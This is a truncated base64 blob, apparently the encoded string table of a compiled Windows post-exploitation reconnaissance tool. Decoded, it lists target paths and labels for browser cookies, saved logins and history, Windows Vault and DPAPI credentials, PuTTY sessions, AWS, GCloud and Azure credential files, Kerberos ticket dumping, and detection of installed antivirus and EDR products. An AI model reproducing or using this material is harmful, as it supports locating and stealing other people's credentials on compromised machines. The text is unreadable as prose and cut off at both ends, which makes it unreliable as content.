wAtAF0AKwApACsAKQApACgAWwBcAHcALgAsAEAAPwBeAD0AJQAmADoALwB+ACsAIwAtAF0AKgBbAFwAdwBAAD8AXgA9ACUAJgAvAH4AKwAjAC0AXQApAD8AAYC1DQAKACAAIAAgACAAWwB4AF0AIABJAE8AIABlAHgAYwBlAHAAdABpAG8AbgAsACAAcABsAGEAYwBlAHMALgBzAHEAbABpAHQAZQAgAGYAaQBsAGUAIABsAGkAawBlAGwAeQAgAGkAbgAgAHUAcwBlACAAKABpAC4AZQAuACAARgBpAHIAZQBmAG8AeAAgAGkAcwAgAGwAaQBrAGUAbAB5ACAAcgB1AG4AbgBpAG4AZwApAC4AAHN7ADAAfQBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABHAG8AbwBnAGwAZQBcAEMAaAByAG8AbQBlAFwAVQBzAGUAcgAgAEQAYQB0AGEAXABEAGUAZgBhAHUAbAB0AFwAQwBvAG8AawBpAGUAcwAAK3UAcwBlAHIAQwBoAHIAbwBtAGUAQwBvAG8AawBpAGUAcwBQAGEAdABoAAB5ewAwAH0AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwARwBvAG8AZwBsAGUAXABDAGgAcgBvAG0AZQBcAFUAcwBlAHIAIABEAGEAdABhAFwARABlAGYAYQB1AGwAdABcAEwAbwBnAGkAbgAgAEQAYQB0AGEAAC91AHMAZQByAEMAaAByAG8AbQBlAEwAbwBnAGkAbgBEAGEAdABhAFAAYQB0AGgAAICrDQAKACAAIAAgACAAWwB4AF0AIABJAE8AIABlAHgAYwBlAHAAdABpAG8AbgAsACAAaABpAHMAdABvAHIAeQAgAGYAaQBsAGUAIABsAGkAawBlAGwAeQAgAGkAbgAgAHUAcwBlACAAKABpAC4AZQAuACAAQgByAG8AdwBzAGUAcgAgAGkAcwAgAGwAaQBrAGUAbAB5ACAAcgB1AG4AbgBpAG4AZwApADoAIAAAC3IAbwBvAHQAcwAAGWIAbwBvAGsAbQBhAHIAawBfAGIAYQByAAARYwBoAGkAbABkAHIAZQBuAAAHdQByAGwAAICrDQAKACAAIAAgACAAWwB4AF0AIABJAE8AIABlAHgAYwBlAHAAdABpAG8AbgAsACAAQgBvAG8AawBtAGEAcgBrAHMAIABmAGkAbABlACAAbABpAGsAZQBsAHkAIABpAG4AIAB1AHMAZQAgACgAaQAuAGUALgAgAEMAaAByAG8AbQBlACAAaQBzACAAbABpAGsAZQBsAHkAIAByAHUAbgBuAGkAbgBnACkALgAAD2gAaQBzAHQAbwByAHkAABFiAG8AbwBrAGEAcgBrAHMAAD0NAAoADQAKAD0APQA9ACAAQwBoAHIAbwBtAGUAIAAoAEEAbABsACAAVQBzAGUAcgBzACkAIAA9AD0APQAAc3sAMAB9AFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAEcAbwBvAGcAbABlAFwAQwBoAHIAbwBtAGUAXABVAHMAZQByACAARABhAHQAYQBcAEQAZQBmAGEAdQBsAHQAXABIAGkAcwB0AG8AcgB5AAB3ewAwAH0AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwARwBvAG8AZwBsAGUAXABDAGgAcgBvAG0AZQBcAFUAcwBlAHIAIABEAGEAdABhAFwARABlAGYAYQB1AGwAdABcAEIAbwBvAGsAbQBhAHIAawBzAAATYgBvAG8AawBtAGEAcgBrAHMAABNmAGEAdgBvAHIAaQB0AGUAcwAAC1MALQAxAC0ANQABEV8AQwBsAGEAcwBzAGUAcwAAB0gASwBVAABlewAwAH0AXABTAE8ARgBUAFcAQQBSAEUAXABNAGkAYwByAG8AcwBvAGYAdABcAEkAbgB0AGUAcgBuAGUAdAAgAEUAeABwAGwAbwByAGUAcgBcAFQAeQBwAGUAZABVAFIATABzAABtewAwAH0AXABTAE8ARgBUAFcAQQBSAEUAXABNAGkAYwByAG8AcwBvAGYAdABcAEkAbgB0AGUAcgBuAGUAdAAgAEUAeABwAGwAbwByAGUAcgBcAFQAeQBwAGUAZABVAFIATABzAFQAaQBtAGUAAB17ADAAfQBcAEYAYQB2AG8AcgBpAHQAZQBzAFwAAAsqAC4AdQByAGwAAAlVAFIATAA9AAAJSABLAEMAVQAAXVMATwBGAFQAVwBBAFIARQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwASQBuAHQAZQByAG4AZQB0ACAARQB4AHAAbABvAHIAZQByAFwAVAB5AHAAZQBkAFUAUgBMAHMAAGVTAE8ARgBUAFcAQQBSAEUAXABNAGkAYwByAG8AcwBvAGYAdABcAEkAbgB0AGUAcgBuAGUAdAAgAEUAeABwAGwAbwByAGUAcgBcAFQAeQBwAGUAZABVAFIATABzAFQAaQBtAGUAAA9XAGkAbgBkAG8AdwBzAAAZTABvAGMAYQB0AGkAbwBuAE4AYQBtAGUAABdMAG8AYwBhAHQAaQBvAG4AVQByAGwAADEoAF4AaAB0AHQAcABzAD8AOgAvAC8ALgArACkAfAAoAF4AZgB0AHAAOgAvAC8AKQAACVQAeQBwAGUAAF8gACAAWwBFAFIAUgBPAFIAXQAgAFUAbgBhAGIAbABlACAAdABvACAAZQBuAHUAbQBlAHIAYQB0AGUAIAB2AGEAdQBsAHQAcwAuACAARQByAHIAbwByACAAKAAwAHgAAEkyAEYAMQBBADYANQAwADQALQAwADYANAAxAC0ANAA0AEMARgAtADgAQgBCADUALQAzADYAMQAyAEQAOAA2ADUARgAyAEUANQABJ1cAaQBuAGQAbwB3AHMAIABTAGUAYwB1AHIAZQAgAE4AbwB0AGUAAEkzAEMAQwBEADUANAA5ADkALQA4ADcAQQA4AC0ANABCADEAMAAtAEEAMgAxADUALQA2ADAAOAA4ADgAOABEAEQAMwBCADUANQABP1cAaQBuAGQAbwB3AHMAIABXAGUAYgAgAFAAYQBzAHMAdwBvAHIAZAAgAEMAcgBlAGQAZQBuAHQAaQBhAGwAAEkxADUANABFADIAMwBEADAALQBDADYANAA0AC0ANABFADYARgAtADgAQwBFADYALQA1ADAANgA5ADIANwAyAEYAOQA5ADkARgABR1cAaQBuAGQAbwB3AHMAIABDAHIAZQBkAGUAbgB0AGkAYQBsACAAUABpAGMAawBlAHIAIABQAHIAbwB0AGUAYwB0AG8AcgAASTQAQgBGADQAQwA0ADQAMgAtADkAQgA4AEEALQA0ADEAQQAwAC0AQgAzADgAMAAtAEQARAA0AEEANwAwADQARABEAEIAMgA4AAEfVwBlAGIAIABDAHIAZQBkAGUAbgB0AGkAYQBsAHMAAEk3ADcAQgBDADUAOAAyAEIALQBGADAAQQA2AC0ANABFADEANQAtADQARQA4ADAALQA2ADEANwAzADYAQgA2AEYAMwBCADIAOQABJ1cAaQBuAGQAbwB3AHMAIABDAHIAZQBkAGUAbgB0AGkAYQBsAHMAAElFADYAOQBEADcAOAAzADgALQA5ADEAQgA1AC0ANABGAEMAOQAtADgAOQBEADUALQAyADMAMABEADQARAA0AEMAQwAyAEIAQwABS1cAaQBuAGQAbwB3AHMAIABEAG8AbQBhAGkAbgAgAEMAZQByAHQAaQBmAGkAYwBhAHQAZQAgAEMAcgBlAGQAZQBuAHQAaQBhAGwAAEkzAEUAMABFADMANQBCAEUALQAxAEIANwA3AC0ANAAzAEUANwAtAEIAOAA3ADMALQBBAEUARAA5ADAAMQBCADYAMgA3ADUAQgABRVcAaQBuAGQAbwB3AHMAIABEAG8AbQBhAGkAbgAgAFAAYQBzAHMAdwBvAHIAZAAgAEMAcgBlAGQAZQBuAHQAaQBhAGwAAEkzAEMAOAA4ADYARgBGADMALQAyADYANgA5AC0ANABBAEEAMgAtAEEAOABGAEIALQAzAEYANgA3ADUAOQBBADcANwA1ADQAOAABN1cAaQBuAGQAbwB3AHMAIABFAHgAdABlAG4AZABlAGQAIABDAHIAZQBkAGUAbgB0AGkAYQBsAABJMAAwADAAMAAwADAAMAAwAC0AMAAwADAAMAAtADAAMAAwADAALQAwADAAMAAwAC0AMAAwADAAMAAwADAAMAAwADAAMAAwADAAAUlVAG4AYQBiAGwAZQAgAHQAbwAgAG8AcABlAG4AIAB0AGgAZQAgAGYAbwBsAGwAbwB3AGkAbgBnACAAdgBhAHUAbAB0ADoAIAAAFy4AIABFAHIAcgBvAHIAOgAgADAAeAAAdVUAbgBhAGIAbABlACAAdABvACAAZQBuAHUAbQBlAHIAYQB0AGUAIAB2AGEAdQBsAHQAIABpAHQAZQBtAHMAIABmAHIAbwBtACAAdABoAGUAIABmAG8AbABsAG8AdwBpAG4AZwAgAHYAYQB1AGwAdAA6ACAAABUuACAARQByAHIAbwByACAAMAB4AAAJRwBVAEkARAAAEVIAZQBzAG8AdQByAGMAZQAAEUkAZABlAG4AdABpAHQAeQAAFVAAYQBjAGEAawBnAGUAUwBpAGQAABVDAHIAZQBkAGUAbgB0AGkAYQBsAAAbTABhAHMAdAAgAE0AbwBkAGkAZgBpAGUAZAAAC0UAcgByAG8AcgAAEVMAYwBoAGUAbQBhAEkAZAAAIXAAUgBlAHMAbwB1AHIAYwBlAEUAbABlAG0AZQBuAHQAACFwAEkAZABlAG4AdABpAHQAeQBFAGwAZQBtAGUAbgB0AAAZTABhAHMAdABNAG8AZABpAGYAaQBlAGQAABdwAFAAYQBjAGsAYQBnAGUAUwBpAGQAAF1PAGMAYwB1AHIAZQBkACAAdwBoAGkAbABlACAAcgBlAHQAcgBpAGUAdgBpAG4AZwAgAHYAYQB1AGwAdAAgAGkAdABlAG0ALgAgAEUAcgByAG8AcgA6ACAAMAB4AAArcABBAHUAdABoAGUAbgB0AGkAYwBhAHQAbwByAEUAbABlAG0AZQBuAHQAAGt7ADAAfQBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVABlAHIAbQBpAG4AYQBsACAAUwBlAHIAdgBlAHIAIABDAGwAaQBlAG4AdABcAFMAZQByAHYAZQByAHMAAGtTAG8AZgB0AHcAYQByAGUAXABNAGkAYwByAG8AcwBvAGYAdABcAFQAZQByAG0AaQBuAGEAbAAgAFMAZQByAHYAZQByACAAQwBsAGkAZQBuAHQAXABTAGUAcgB2AGUAcgBzAFwAewAwAH0AABlVAHMAZQByAG4AYQBtAGUASABpAG4AdAAAB1MASQBEAAAJSABvAHMAdAAAG1UAcwBlAHIAbgBhAG0AZQAgAEgAaQBuAHQAAGNTAG8AZgB0AHcAYQByAGUAXABNAGkAYwByAG8AcwBvAGYAdABcAFQAZQByAG0AaQBuAGEAbAAgAFMAZQByAHYAZQByACAAQwBsAGkAZQBuAHQAXABTAGUAcgB2AGUAcgBzAAB7ewAwAH0AXABTAE8ARgBUAFcAQQBSAEUAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABDAHUAcgByAGUAbgB0AFYAZQByAHMAaQBvAG4AXABFAHgAcABsAG8AcgBlAHIAXABSAHUAbgBNAFIAVQAAc1MATwBGAFQAVwBBAFIARQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAEUAeABwAGwAbwByAGUAcgBcAFIAdQBuAE0AUgBVAABzDQAKAA0ACgA9AD0APQAgAFAAdQB0AHQAeQAgAFMAYQB2AGUAZAAgAFMAZQBzAHMAaQBvAG4AIABJAG4AZgBvAHIAbQBhAHQAaQBvAG4AIAAoAEEAbABsACAAVQBzAGUAcgBzACkAIAA9AD0APQANAAoAAFF7ADAAfQBcAFMAbwBmAHQAdwBhAHIAZQBcAFMAaQBtAG8AbgBUAGEAdABoAGEAbQBcAFAAdQBUAFQAWQBcAFMAZQBzAHMAaQBvAG4AcwBcAAARVQBzAGUAcgAgAFMASQBEAAAXUwBlAHMAcwBpAG8AbgBOAGEAbQBlAAARSABvAHMAdABOAGEAbQBlAAAVUABvAHIAdABOAHUAbQBiAGUAcgAAG1AAdQBiAGwAaQBjAEsAZQB5AEYAaQBsAGUAAB9QAG8AcgB0AEYAbwByAHcAYQByAGQAaQBuAGcAcwAAI0MAbwBuAG4AZQBjAHQAaQBvAG4AUwBoAGEAcgBpAG4AZwAAG1AAcgBvAHgAeQBQAGEAcwBzAHcAbwByAGQAABtQAHIAbwB4AHkAVQBzAGUAcgBuAGEAbQBlAABXewAwAH0AXABTAG8AZgB0AHcAYQByAGUAXABTAGkAbQBvAG4AVABhAHQAaABhAG0AXABQAHUAVABUAFkAXABTAGUAcwBzAGkAbwBuAHMAXAB7ADEAfQAASVMAbwBmAHQAdwBhAHIAZQBcAFMAaQBtAG8AbgBUAGEAdABoAGEAbQBcAFAAdQBUAFQAWQBcAFMAZQBzAHMAaQBvAG4AcwBcAABPUwBvAGYAdAB3AGEAcgBlAFwAUwBpAG0AbwBuAFQAYQB0AGgAYQBtAFwAUAB1AFQAVABZAFwAUwBlAHMAcwBpAG8AbgBzAFwAewAwAH0AAF0NAAoADQAKAD0APQA9ACAAUAB1AHQAdAB5ACAAUwBTAEgAIABIAG8AcwB0ACAASABvAHMAdABzACAAKABBAGwAbAAgAFUAcwBlAHIAcwApACAAPQA9AD0ADQAKAABXewAwAH0AXABTAG8AZgB0AHcAYQByAGUAXABTAGkAbQBvAG4AVABhAHQAaABhAG0AXABQAHUAVABUAFkAXABTAHMAaABIAG8AcwB0AEsAZQB5AHMAXAAAD1UAcwBlAHIAUwBJAEQAAE9TAG8AZgB0AHcAYQByAGUAXABTAGkAbQBvAG4AVABhAHQAaABhAG0AXABQAHUAVABUAFkAXABTAHMAaABIAG8AcwB0AEsAZQB5AHMAXAAAKXsAMAB9AFwALgBhAHcAcwBcAGMAcgBlAGQAZQBuAHQAaQBhAGwAcwAACWYAaQBsAGUAAClBAFcAUwAgAGMAcgBlAGQAZQBuAHQAaQBhAGwAcwAgAGYAaQBsAGUAABFBAGMAYwBlAHMAcwBlAGQAABFNAG8AZABpAGYAaQBlAGQAAFN7ADAAfQBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAZwBjAGwAbwB1AGQAXABjAHIAZQBkAGUAbgB0AGkAYQBsAHMALgBkAGIAACFHAEMAIABDAG8AbQBwAHUAdABlACAAYwByAGUAZABzAABbewAwAH0AXABBAHAAcABEAGEAdABhAFwAUgBvAGEAbQBpAG4AZwBcAGcAYwBsAG8AdQBkAFwAbABlAGcAYQBjAHkAXwBjAHIAZQBkAGUAbgB0AGkAYQBsAHMAAC9HAEMAIABDAG8AbQBwAHUAdABlACAAYwByAGUAZABzACAAbABlAGcAYQBjAHkAAFd7ADAAfQBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAZwBjAGwAbwB1AGQAXABhAGMAYwBlAHMAcwBfAHQAbwBrAGUAbgBzAC4AZABiAAAjRwBDACAAQwBvAG0AcAB1AHQAZQAgAHQAbwBrAGUAbgBzAAA5ewAwAH0AXAAuAGEAegB1AHIAZQBcAGEAYwBjAGUAcwBzAFQAbwBrAGUAbgBzAC4AagBzAG8AbgAAGUEAegB1AHIAZQAgAHQAbwBrAGUAbgBzAAA5ewAwAH0AXAAuAGEAegB1AHIAZQBcAGEAegB1AHIAZQBQAHIAbwBmAGkAbABlAC4AagBzAG8AbgAAG0EAegB1AHIAZQAgAHAAcgBvAGYAaQBsAGUAABtBAFcAUwAgAGsAZQB5AHMAIABmAGkAbABlAABJRgA5ADMANQBEAEMAMgAyAC0AMQBDAEYAMAAtADEAMQBkADAALQBBAEQAQgA5AC0AMAAwAEMAMAA0AEYARAA1ADgAQQAwAEIAAVt7ADAAfQBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAUgBlAGMAZQBuAHQAXAAACyoALgBsAG4AawAAFSAAIAAgAHsAMAB9ACAAOgANAAoAAB1DAHIAZQBhAHQAZQBTAGgAbwByAHQAYwB1AHQAABVUAGEAcgBnAGUAdABQAGEAdABoAAANVABhAHIAZwBlAHQAADt7ADAAfQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAFIAZQBjAGUAbgB0AFwAAA9BAFAAUABEAEEAVABBAABNewAwAH0AXABBAHAAcABEAGEAdABhAFwAUgBvAGEAbQBpAG4AZwBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAUAByAG8AdABlAGMAdABcAABJewAwAH0AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwATQBpAGMAcgBvAHMAbwBmAHQAXABQAHIAbwB0AGUAYwB0AFwAAICnWwAwAC0AOQBBAC0ARgBhAC0AZgBdAHsAOAB9AFsALQBdAFsAMAAtADkAQQAtAEYAYQAtAGYAXQB7ADQAfQBbAC0AXQBbADAALQA5AEEALQBGAGEALQBmAF0AewA0AH0AWwAtAF0AWwAwAC0AOQBBAC0ARgBhAC0AZgBdAHsANAB9AFsALQBdAFsAMAAtADkAQQAtAEYAYQAtAGYAXQB7ADEAMgB9AAETTQBhAHMAdABlAHIASwBlAHkAAFF7ADAAfQBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABNAGkAYwByAG8AcwBvAGYAdABcAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwBcAABVewAwAH0AXABBAHAAcABEAGEAdABhAFwAUgBvAGEAbQBpAG4AZwBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAQwByAGUAZABlAG4AdABpAGEAbABzAFwAABFDAHIAZQBkAEYAaQBsAGUAAICLewAwAH0AXABTAHkAcwB0AGUAbQAzADIAXABjAG8AbgBmAGkAZwBcAHMAeQBzAHQAZQBtAHAAcgBvAGYAaQBsAGUAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwATQBpAGMAcgBvAHMAbwBmAHQAXABDAHIAZQBkAGUAbgB0AGkAYQBsAHMAAICbewAwAH0AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwATQBpAGMAcgBvAHMAbwBmAHQAXABSAGUAbQBvAHQAZQAgAEQAZQBzAGsAdABvAHAAIABDAG8AbgBuAGUAYwB0AGkAbwBuACAATQBhAG4AYQBnAGUAcgBcAFIARABDAE0AYQBuAC4AcwBlAHQAdABpAG4AZwBzAAAXRgBpAGwAZQBzAFQAbwBPAHAAZQBuAAAVUgBEAEMATQBhAG4ARgBpAGwAZQAAFS4AUgBEAEcAIABGAGkAbABlAHMAACdVAHMAZQByADMAMgBMAG8AZwBvAG4AUAByAG8AYwBlAHMAcwBzAAARdwBpAG4AbABvAGcAbwBuAAAnTgBUACAAQQBVAFQASABPAFIASQBUAFkAXABTAFkAUwBUAEUATQAAEWsAZQByAGIAZQByAG8AcwAARyAAIAAgACAAWwAqAF0AIABFAG4AdQBtAGUAcgBhAHQAZQBkACAAewAwAH0AIAB0AGkAYwBrAGUAdAAoAHMAKQA6AA0ACgAAI1UAcwBlAHIAUAByAGkAbgBjAGkAcABhAGwATgBhAG0AZQAAFXMAZQByAHYAZQByAE4AYQBtAGUAABNSAGUAYQBsAG0ATgBhAG0AZQAAE1MAdABhAHIAdABUAGkAbQBlAAAPRQBuAGQAVABpAG0AZQAAE1IAZQBuAGUAdwBUAGkAbQBlAAAdRQBuAGMAcgB5AHAAdABpAG8AbgBUAHkAcABlAAAXVABpAGMAawBlAHQARgBsAGEAZwBzAAAXUwBlAHIAdgBpAGMAZQBOAGEAbQBlAAAVVABhAHIAZwBlAHQATgBhAG0AZQAAFUMAbABpAGUAbgB0AE4AYQBtAGUAABVEAG8AbQBhAGkAbgBOAGEAbQBlAAAhVABhAHIAZwBlAHQARABvAG0AYQBpAG4ATgBhAG0AZQAAHVMAZQBzAHMAaQBvAG4ASwBlAHkAVAB5AHAAZQAAIUIAYQBzAGUANgA0AFMAZQBzAHMAaQBvAG4ASwBlAHkAACNLAGUAeQBFAHgAcABpAHIAYQB0AGkAbwBuAFQAaQBtAGUAABVSAGUAbgBlAHcAVQBuAHQAaQBsAAARVABpAG0AZQBTAGsAZQB3AAAjRQBuAGMAbwBkAGUAZABUAGkAYwBrAGUAdABTAGkAegBlAAAnQgBhAHMAZQA2ADQARQBuAGMAbwBkAGUAZABUAGkAYwBrAGUAdAAAgIcgACAAWwBYAF0AIABFAHgAYwBlAHAAdABpAG8AbgA6ACAAewAwAH0ACgAgAFQAcgB5AGkAbgBnACAAdABvACAAYwBoAGUAYwBrACAAaQBmACAAZABvAG0AYQBpAG4AIABpAHMAIABqAG8AaQBuAGUAZAAgAHUAcwBpAG4AZwAgAFcATQBJAABFUwBlAGwAZQBjAHQAIAAqACAAZgByAG8AbQAgAFcAaQBuADMAMgBfAEMAbwBtAHAAdQB0AGUAcgBTAHkAcwB0AGUAbQAADUQAbwBtAGEAaQBuAABLXABXACoAKABbAGEALQB6AF0AOgBcAFwALgArAD8AKABcAC4AWwBhAC0AegBBAC0AWgAwAC0AOQBfAC0AXQArACkAKQBcAFcAKgABE3sAMAB9ACAAWwB7ADEAfQBdAAATQQBsAGwAQQBjAGMAZQBzAHMAABVHAGUAbgBlAHIAaQBjAEEAbABsAAAXRgB1AGwAbABDAG8AbgB0AHIAbwBsAAAbVABhAGsAZQBPAHcAbgBlAHIAcwBoAGkAcAAAGUcAZQBuAGUAcgBpAGMAVwByAGkAdABlAAArVwByAGkAdABlAEQAYQB0AGEALwBDAHIAZQBhAHQAZQBGAGkAbABlAHMAAA1NAG8AZABpAGYAeQAAC1cAcgBpAHQAZQAAI0MAaABhAG4AZwBlAFAAZQByAG0AaQBzAHMAaQBvAG4AcwAADUQAZQBsAGUAdABlAAA5RABlAGwAZQB0AGUAUwB1AGIAZABpAHIAZQBjAHQAbwByAGkAZQBzAEEAbgBkAEYAaQBsAGUAcwAAOUEAcABwAGUAbgBkAEQAYQB0AGEALwBDAHIAZQBhAHQAZQBEAGkAcgBlAGMAdABvAHIAaQBlAHMAAB9XAHIAaQB0AGUAQQB0AHQAcgBpAGIAdQB0AGUAcwAAL1cAcgBpAHQAZQBFAHgAdABlAG4AZABlAGQAQQB0AHQAcgBpAGIAdQB0AGUAcwAAC1MAdABhAHIAdAAACVMAdABvAHAAAC1FAHIAcgBvAHIAIABpAG4AIABQAGUAcgBtAEkAbgB0ADIAUwB0AHIAOgAgAAAZXgBNAGkAYwByAG8AcwBvAGYAdAAuACoAAIDJLgAqAFQAaABpAHMAIABhAHMAcwBlAG0AYgBsAHkAIABpAHMAIABiAHUAaQBsAHQAIABiAHkAIABhACAAcgB1AG4AdABpAG0AZQAgAG4AZQB3AGUAcgAgAHQAaABhAG4AIAB0AGgAZQAgAGMAdQByAHIAZQBuAHQAbAB5ACAAbABvAGEAZABlAGQAIAByAHUAbgB0AGkAbQBlACAAYQBuAGQAIABjAGEAbgBuAG8AdAAgAGIAZQAgAGwAbwBhAGQAZQBkAC4AKgAAT14AXABXACoAKABbAGEALQB6AF0AOgBcAFwALgArAD8AKABcAC4AZQB4AGUAfABcAC4AZABsAGwAfABcAC4AcwB5AHMAKQApAFwAVwAqAAEJLgBlAHgAZQAACS4AZABsAGwAAAkuAHMAeQBzAAADJwABCwoAIAAgACAAIAAAD0EAcABwAEQAYQB0AGEAAA9jAG0AZAAuAGUAeABlAAAHLwBDACAAAAtJAG4AZABlAHgAABdQAHkAcwBpAGMAYQBsAEEAZABkAHIAAAlEAE4AUwBzAAARRwBhAHQAZQB3AGEAeQBzAAAHSQBQAHMAABFOAGUAdABtAGEAcwBrAHMAAAdhAHIAcAAAHVAAeQBzAGkAYwBhAGwAQQBkAGQAcgBJAG4AaQAAAzoAAE0gACAAWwBYAF0AIABFAHgAYwBlAHAAdABpAG8AbgAgAGEAbABsAG8AYwBhAHQAaQBuAGcAIABiAHUAZgBmAGUAcgA6ACAAewAwAH0AAEtFAHIAcgBvAHIAOgAgAE4AbwAgAGkAbgB0AGUAcgBmAGEAYwBlACAAZgBvAHUAbgBkACAAdwBpAHQAaAAgAEkAbgBkAGUAeAAgAAA5IAAgACAAIAAgACAAIAAgACAAIAB7ADAALAAtADIAMgB9AHsAMQAsAC0AMgAyAH0AewAyAH0ACgABC1AAcgBvAHQAbwAAG0wAbwBjAGEAbAAgAEEAZABkAHIAZQBzAHMAAB9GAG8AcgBlAGkAbgBnACAAQQBkAGQAcgBlAHMAcwAAC1MAdABhAHQAZQAAB1QAQwBQAAATTABpAHMAdABlAG4AaQBuAGcAAAdVAEQAUAAASUUAMgBCADMAQwA5ADcARgAtADYAQQBFADEALQA0ADEAQQBDAC0AOAAxADcAQQAtAEYANgBGADkAMgAxADYANgBEADcARABEAAEnQwB1AHIAcgBlAG4AdABQAHIAbwBmAGkAbABlAFQAeQBwAGUAcwAAH0YAaQByAGUAdwBhAGwAbABFAG4AYQBiAGwAZQBkAAAxRgBpAHIAZQB3AGEAbABsAEUAbgBhAGIAbABlAGQAIAAoAEQAbwBtAGEAaQBuACkAADNGAGkAcgBlAHcAYQBsAGwARQBuAGEAYgBsAGUAZAAgACgAUAByAGkAdgBhAHQAZQApAAAxRgBpAHIAZQB3AGEAbABsAEUAbgBhAGIAbABlAGQAIAAoAFAAdQBiAGwAaQBjACkAAAtSAHUAbABlAHMAABtHAGUAdABFAG4AdQBtAGUAcgBhAHQAbwByAAAPRQBuAGEAYgBsAGUAZAAACVQAcgB1AGUAAAMwAAARUAByAG8AdABvAGMAbwBsAAAfQQBwAHAAbABpAGMAYQB0AGkAbwBuAE4AYQBtAGUAAB1MAG8AYwBhAGwAQQBkAGQAcgBlAHMAcwBlAHMAABVMAG8AYwBhAGwAUABvAHIAdABzAAAfUgBlAG0AbwB0AGUAQQBkAGQAcgBlAHMAcwBlAHMAABdSAGUAbQBvAHQAZQBQAG8AcgB0AHMAABNEAGkAcgBlAGMAdABpAG8AbgAAEVAAcgBvAGYAaQBsAGUAcwAAC0EATABMAE8AVwAAAzEAAAlEAEUATgBZAAAFSQBOAAAHTwBVAFQAAAM2AAAPQQBwAHAATgBhAG0AZQAAC0wAbwBjAGEAbAAAD3sAMAB9ADoAewAxAH0AAA1SAGUAbQBvAHQAZQAABVwAXAAAL1wAcgBvAG8AdABcAGMAaQBtAHYAMgA6AFcAaQBuADMAMgBfAFMAaABhAHIAZQAAG0cAZQB0AEEAYwBjAGUAcwBzAE0AYQBzAGsAABdSAGUAdAB1AHIAbgBWAGEAbAB1AGUAABdQAGUAcgBtAGkAcwBzAGkAbwBuAHMAACVyAG8AbwB0AFwAcwB0AGEAbgBkAGEAcgBkAGMAaQBtAHYAMgAAQ1MARQBMAEUAQwBUACAAKgAgAEYAUgBPAE0AIABNAFMARgBUAF8ARABOAFMAQwBsAGkAZQBuAHQAQwBhAGMAaABlAAALRQBuAHQAcgB5AAAJRABhAHQAYQAABy4ALgAuAACAwyAAIABbAFgAXQAgACcATQBTAEYAVABfAEQATgBTAEMAbABpAGUAbgB0AEMAYQBjAGgAZQAnACAAVwBNAEkAIABjAGwAYQBzAHMAIAB1AG4AYQB2AGEAaQBsAGEAYgBsAGUAIAAoAG0AaQBuAGkAbQB1AG0AIABzAHUAcABwAG8AcgB0AGUAZAAgAHYAZQByAHMAaQBvAG4AcwAgAG8AZgAgAFcAaQBuAGQAbwB3AHMAOgAgADgALwAyADAAMQAyACkAAYCBUwBFAEwARQBDAFQAIABQAHIAbwBjAGUAcwBzAEkAZAAsACAARQB4AGUAYwB1AHQAYQBiAGwAZQBQAGEAdABoACwAIABDAG8AbQBtAGEAbgBkAEwAaQBuAGUAIABGAFIATwBNACAAVwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwAAEWkAcwBEAG8AdABOAGUAdAAAE1AAcgBvAGMAZQBzAHMASQBEAAAdRQB4AGUAYwB1AHQAYQBiAGwAZQBQAGEAdABoAAAPUAByAG8AZAB1AGMAdAAAC08AdwBuAGUAcgAAF0MAbwBtAG0AYQBuAGQATABpAG4AZQAAGW0AYwBzAGgAaQBlAGwAZAAuAGUAeABlAAATTQBjAEEAZgBlAGUAIABBAFYAABt3AGkAbgBkAGUAZgBlAG4AZAAuAGUAeABlAAAnVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgAgAEEAVgAAF00AUwBBAFMAQwB1AGkALgBlAHgAZQAAGU0AUwBBAFMAQwB1AGkATAAuAGUAeABlAAAXbQBzAG0AcABlAG4AZwAuAGUAeABlAAAXbQBzAG0AcABzAHYAYwAuAGUAeABlAAARVwBSAFMAQQAuAGUAeABlAAAVVwBlAGIAUgBvAG8AdAAgAEEAVgAAHXMAYQB2AHMAZQByAHYAaQBjAGUALgBlAHgAZQAAE1MAbwBwAGgAbwBzACAAQQBWAAAVVABNAEMAQwBTAEYALgBlAHgAZQAAHVQAcgBlAG4AZAAgAE0AaQBjAHIAbwAgAEEAVgAALXMAeQBtAGEAbgB0AGUAYwAgAGEAbgB0AGkAdgBpAHIAdQBzAC4AZQB4AGUAABdTAHkAbQBhAG4AdABlAGMAIABBAFYAABFtAGIAYQBlAC4AZQB4AGUAADNNAGEAbAB3AGEAcgBlAEIAeQB0AGUAcwAgAEEAbgB0AGkALQBFAHgAcABsAG8AaQB0AAEVcABhAHIAaQB0AHkALgBlAHgAZQAAO0IAaQB0ADkAIABhAHAAcABsAGkAYwBhAHQAaQBvAG4AIAB3AGgAaQB0AGUAbABpAHMAdABpAG4AZwAADWMAYgAuAGUAeABlAABBQwBhAHIAYgBvAG4AIABCAGwAYQBjAGsAIABiAGUAaABhAHYAaQBvAHIAYQBsACAAYQBuAGEAbAB5AHMAaQBzAAAdYgBkAHMALQB2AGkAcwBpAG8AbgAuAGUAeABlAAE9QgBEAFMAIABWAGkAcwBpAG8AbgAgAGIAZQBoAGEAdgBpAG8AcgBhAGwAIABhAG4AYQBsAHkAcwBpAHMAABtUAHIAaQB1AG0AZgBhAG4AdAAuAGUAeABlAAA7VAByAG